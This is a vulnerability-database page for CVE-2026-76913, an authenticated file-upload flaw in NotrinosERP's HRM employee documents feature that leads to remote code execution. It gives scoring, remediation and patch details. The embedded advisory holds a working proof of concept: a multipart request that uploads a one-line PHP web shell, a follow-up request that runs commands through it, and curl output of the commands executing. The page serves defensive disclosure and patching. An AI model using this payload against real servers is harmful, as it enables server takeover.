CVE-2026-76913

HIGHPre-NVD 8.88.8
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 8.8 from GitHub Security Advisory (severity: HIGH) published 2026-07-10. The CNA's CVSS baseline 8.8; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-qv4m-m73m-8hj7 (GitHub Security Advisories)

8.8EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 8.8Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

Summary

An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web-served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.

Details

The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:

// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }

There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile-photo (pic) upload in the *same file*, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:

  • company_path() resolves under the web root; config.default.php sets
$comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
  • The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
only — it does not block .php and does not cover company/.
  • The stored path is then echoed unescaped into a clickable "View" link
(hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].

Proof of Concept

The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated by check_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the hidden _token, then submit. Against your own local instance:

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: 
Cookie: 
Content-Type: multipart/form-data; boundary=b

--b Content-Disposition: form-data; name="_token"

--b Content-Disposition: form-data; name="doc_type_id"

--b Content-Disposition: form-data; name="doc_name"

x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php

<?php system($_GET['c']); ?> --b Content-Disposition: form-data; name="save_document"

Save Document --b--

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

GET /company/0/documents/employees/1__shell.php?c=id HTTP/1.1

The command in c executes on the server.

Validation (performed locally, no network)

The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1__shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../.php?c=uname%20-sm;whoami'
Darwin arm64

Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.

Impact

Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

Suggested fix

  • Never use the client filename on disk. Store with a server-generated name and **no executable
extension** (mirror includes/ui/attachment.inc's uniqid() approach); keep the original name only as a DB label.
  • Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the pic
branch already does.
  • Store uploads outside the web root, or drop an .htaccess/web.config in
company/*/documents/ that disables script execution (php_admin_flag engine off, RemoveHandler .php, SetHandler none).
  • htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).

References / credit

  • Affected code: hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc,
hrm/includes/ui/employee_ui.inc.
  • Reported by: <Kasper Hong / Kasper Builds>.

CVSS v3
8.8
EG Score
8.8HIGHmedium confidence
EG Risk
40
EG Risk 40/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity88% × 45%
Impact severity (EG Severity): CVSS 8.8 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fixed version is listed under Patch Availability. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (8.8): severity, escalated by confirmed exploitation. This CVE's 8.8 is its impact severity (EG Severity), not escalated.

EG Severity
8.8 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fixed version is listed under Patch Availability. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 10, 2026

Last Modified

July 10, 2026

Vendor Advisories for CVE-2026-76913(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composernotrinos/notrinos-erp @ 1.1.0 (fixes <= 1.0.0)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:39 UTCGHSA enrichmentGHSA-qv4m-m73m-8hj7 · GitHub severity HIGH · GitHub CVSS 8.8
  2. 2026-11-01 07:39 UTCEG score recompute
  3. 2026-10-27 15:40 UTCEG score recomputeFirst assessed: 8.8 HIGH

Frequently asked(4)

What is CVE-2026-76913?
CVE-2026-76913 is a high-severity vulnerability; its CVE record was published on July 10, 2026. NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file) Summary An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler…
When was the CVE record for CVE-2026-76913 published?
The CVE record for CVE-2026-76913 was published on July 10, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 10, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-76913?
CVE-2026-76913 has a CVSS base score of 8.8 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-76913?
A fixed version for CVE-2026-76913 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-76913 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-76913

Explore →

Is Your Infrastructure Affected by CVE-2026-76913?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.